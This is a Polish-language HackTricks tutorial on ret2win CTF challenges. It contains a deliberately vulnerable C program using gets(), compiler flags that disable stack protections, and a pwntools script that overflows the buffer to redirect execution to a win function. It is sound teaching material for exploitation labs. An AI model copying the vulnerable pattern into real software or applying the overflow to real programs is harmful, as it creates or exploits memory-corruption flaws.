hacktricks/binary-exploitation/stack-overflow/ret2win.md

7 KiB

Ret2win

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

Wyzwania Ret2win są popularną kategorią w konkursach Capture The Flag (CTF), szczególnie w zadaniach związanych z eksploatacją binarną. Celem jest wykorzystanie podatności w danym pliku binarnym do wykonania określonej, niezainicjowanej funkcji wewnątrz binarnego pliku, często nazwanej np. win, ret2win, itp. Ta funkcja, gdy jest wywoływana, zazwyczaj wyświetla flagę lub komunikat o sukcesie. Wyzwanie zazwyczaj polega na nadpisaniu adresu powrotu na stosie, aby zmienić przepływ wykonania na pożądaną funkcję. Oto bardziej szczegółowe wyjaśnienie wraz z przykładami:

Przykład w języku C

Rozważ prosty program w języku C z podatnością i funkcją win, którą zamierzamy wywołać:

#include <stdio.h>
#include <string.h>

void win() {
printf("Congratulations! You've called the win function.\n");
}

void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}

int main() {
vulnerable_function();
return 0;
}

Aby skompilować ten program bez zabezpieczeń stosu i z wyłączonym ASLR, można użyć poniższej komendy:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -m32: Skompiluj program jako 32-bitowy binarny (to jest opcjonalne, ale często używane w wyzwaniach CTF).
  • -fno-stack-protector: Wyłącz ochronę przed przepełnieniem stosu.
  • -z execstack: Pozwól na wykonanie kodu ze stosu.
  • -no-pie: Wyłącz wykonywalne pliki o pozycji niezależnej, aby zapewnić, że adres funkcji win nie zmieni się.
  • -o vulnerable: Nazwij plik wyjściowy vulnerable.

Wykorzystanie exploitu w Pythonie za pomocą Pwntools

Do eksploatacji użyjemy pwntools, potężnego frameworka CTF do pisania exploitów. Skrypt exploitu stworzy ładunek, aby przepełnić bufor i nadpisać adres powrotu adresem funkcji win.

from pwn import *

# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path

# Find the address of the win function
win_addr = p32(0x08048456)  # Replace 0x08048456 with the actual address of the win function in your binary

# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr

# Send the payload
p.sendline(payload)
p.interactive()

Aby znaleźć adres funkcji win, możesz użyć gdb, objdump lub innego narzędzia umożliwiającego inspekcję plików binarnych. Na przykład, z objdump możesz użyć:

objdump -d vulnerable | grep win

To polecenie pokaże ci zestawienie funkcji win, wraz z jej adresem początkowym.

Skrypt w języku Python wysyła starannie spreparowaną wiadomość, która, po przetworzeniu przez funkcję vulnerable_function, powoduje przepełnienie bufora i nadpisanie adresu powrotu na stosie adresem win. Gdy funkcja vulnerable_function zakończy działanie, zamiast wracać do main lub zakończyć działanie, skacze do win, a wiadomość zostaje wyświetlona.

Zabezpieczenia

  • ASLR powinno być wyłączone, aby adres był niezmienny w kolejnych wykonaniach, w przeciwnym razie miejsce, gdzie funkcja będzie przechowywana, nie będzie zawsze takie samo, i potrzebny będzie jakiś wyciek, aby ustalić, gdzie jest załadowana funkcja win.
  • Kanarki stosu również powinny być wyłączone, w przeciwnym razie skompromitowany adres powrotu EIP nigdy nie zostanie wykonany.

Inne przykłady i odnośniki